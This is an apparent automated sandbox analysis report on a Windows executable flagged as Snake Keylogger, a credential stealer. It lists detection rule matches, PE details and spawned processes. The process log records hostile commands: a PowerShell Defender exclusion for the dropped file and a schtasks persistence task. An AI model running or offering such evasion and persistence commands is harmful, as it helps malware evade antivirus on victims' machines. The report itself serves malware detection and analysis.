Source: 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: 2i3Lj7a8Gk.exe PID: 6360, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: lyNyKapwZJLKnn.exe PID: 7260, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_0110E12C	0_2_0110E12C
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_06FD0A28	0_2_06FD0A28
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_06FD17A8	0_2_06FD17A8
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_06FD1798	0_2_06FD1798
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_06FD8538	0_2_06FD8538
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_06FD0270	0_2_06FD0270
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_06FD1270	0_2_06FD1270
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_06FD0261	0_2_06FD0261
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_06FD1260	0_2_06FD1260
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_06FD031B	0_2_06FD031B
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_06FD80BE	0_2_06FD80BE
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_06FDA1C0	0_2_06FDA1C0
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_06FDAA98	0_2_06FDAA98
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_06FD0A18	0_2_06FD0A18
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_06FD8970	0_2_06FD8970
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_06FD8960	0_2_06FD8960
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_02F0D278	6_2_02F0D278
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_02F05362	6_2_02F05362
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_02F0C148	6_2_02F0C148
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_02F07118	6_2_02F07118
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_02F0C738	6_2_02F0C738
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_02F0C468	6_2_02F0C468
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_02F0CA08	6_2_02F0CA08
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_02F069B0	6_2_02F069B0
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_02F0E988	6_2_02F0E988
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_02F03E18	6_2_02F03E18
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_02F0CFA9	6_2_02F0CFA9
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_02F0CCD8	6_2_02F0CCD8
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_02F09DE0	6_2_02F09DE0
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_02F03A99	6_2_02F03A99
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_02F029E0	6_2_02F029E0
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_02F0F970	6_2_02F0F970
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_02F0E97A	6_2_02F0E97A
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_02F0F961	6_2_02F0F961
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF1E80	6_2_06CF1E80
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF17A0	6_2_06CF17A0
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFFC68	6_2_06CFFC68
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF9C18	6_2_06CF9C18
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF9548	6_2_06CF9548
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF0B30	6_2_06CF0B30
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF5028	6_2_06CF5028
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF2968	6_2_06CF2968
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFE6AF	6_2_06CFE6AF
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFE6B0	6_2_06CFE6B0
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF1E70	6_2_06CF1E70
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFDE00	6_2_06CFDE00
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF178F	6_2_06CF178F
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFEF51	6_2_06CFEF51
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFEF60	6_2_06CFEF60
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFCCA0	6_2_06CFCCA0
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFDDFF	6_2_06CFDDFF
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFD540	6_2_06CFD540
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFD550	6_2_06CFD550
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFEAF8	6_2_06CFEAF8
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFE249	6_2_06CFE249
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFE258	6_2_06CFE258
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF8BA0	6_2_06CF8BA0
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFF3B8	6_2_06CFF3B8
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFEB08	6_2_06CFEB08
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF0B20	6_2_06CF0B20
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFD0F8	6_2_06CFD0F8
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF0040	6_2_06CF0040
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFF801	6_2_06CFF801
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF501E	6_2_06CF501E
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFF810	6_2_06CFF810
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF0023	6_2_06CF0023
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFD999	6_2_06CFD999
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CFD9A8	6_2_06CFD9A8
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 7_2_0173E12C	7_2_0173E12C
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 13_2_0114C146	13_2_0114C146
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 13_2_01145362	13_2_01145362
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 13_2_0114D278	13_2_0114D278
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 13_2_0114C468	13_2_0114C468
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 13_2_0114C738	13_2_0114C738
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 13_2_0114E988	13_2_0114E988
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 13_2_011469A0	13_2_011469A0
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 13_2_0114CA08	13_2_0114CA08
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 13_2_01149DE0	13_2_01149DE0
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 13_2_0114CCD8	13_2_0114CCD8
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 13_2_0114CFAC	13_2_0114CFAC
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 13_2_01146FC8	13_2_01146FC8
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 13_2_01143E09	13_2_01143E09
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 13_2_0114E97C	13_2_0114E97C
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 13_2_0114F961	13_2_0114F961
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 13_2_011429EC	13_2_011429EC
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 13_2_01143AB1	13_2_01143AB1

Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs 2i3Lj7a8Gk.exe
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs 2i3Lj7a8Gk.exe
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1729897967.0000000007360000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs 2i3Lj7a8Gk.exe
Source: 2i3Lj7a8Gk.exe, 00000000.00000000.1688834254.000000000077C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameOQhQ.exe@ vs 2i3Lj7a8Gk.exe
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1721375528.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 2i3Lj7a8Gk.exe
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1722967795.0000000002D44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs 2i3Lj7a8Gk.exe
Source: 2i3Lj7a8Gk.exe, 00000006.00000002.4140939601.00000000010F7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs 2i3Lj7a8Gk.exe
Source: 2i3Lj7a8Gk.exe	Binary or memory string: OriginalFilenameOQhQ.exe@ vs 2i3Lj7a8Gk.exe

Source: 2i3Lj7a8Gk.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 13.2.lyNyKapwZJLKnn.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.2i3Lj7a8Gk.exe.4662820.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.2i3Lj7a8Gk.exe.4662820.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.2i3Lj7a8Gk.exe.4662820.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: 2i3Lj7a8Gk.exe PID: 6360, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: lyNyKapwZJLKnn.exe PID: 7260, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: 2i3Lj7a8Gk.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: lyNyKapwZJLKnn.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack, ---2.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack, ---2.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack, -B--.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, KexrhkrD0V06LqILWv.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, DuMROSxCmqfhBtrcL3.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, DuMROSxCmqfhBtrcL3.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, DuMROSxCmqfhBtrcL3.cs	Security API names: _0020.AddAccessRule
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, KexrhkrD0V06LqILWv.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, DuMROSxCmqfhBtrcL3.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, DuMROSxCmqfhBtrcL3.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, DuMROSxCmqfhBtrcL3.cs	Security API names: _0020.AddAccessRule
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, KexrhkrD0V06LqILWv.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, DuMROSxCmqfhBtrcL3.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, DuMROSxCmqfhBtrcL3.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, DuMROSxCmqfhBtrcL3.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@20/11@5/4

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe

File created: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2008:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3448:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7476:120:WilError_03

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe

File created: C:\Users\user\AppData\Local\Temp\tmp760C.tmp

Jump to behavior

Source: 2i3Lj7a8Gk.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 2i3Lj7a8Gk.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2i3Lj7a8Gk.exe	ReversingLabs: Detection: 79%
Source: 2i3Lj7a8Gk.exe	Virustotal: Detection: 41%

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe

File read: C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\2i3Lj7a8Gk.exe "C:\Users\user\Desktop\2i3Lj7a8Gk.exe"
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp760C.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process created: C:\Users\user\Desktop\2i3Lj7a8Gk.exe "C:\Users\user\Desktop\2i3Lj7a8Gk.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp8686.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process created: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe"
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process created: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe"
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process created: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe"
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe"	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp760C.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process created: C:\Users\user\Desktop\2i3Lj7a8Gk.exe "C:\Users\user\Desktop\2i3Lj7a8Gk.exe"	Jump to behavior
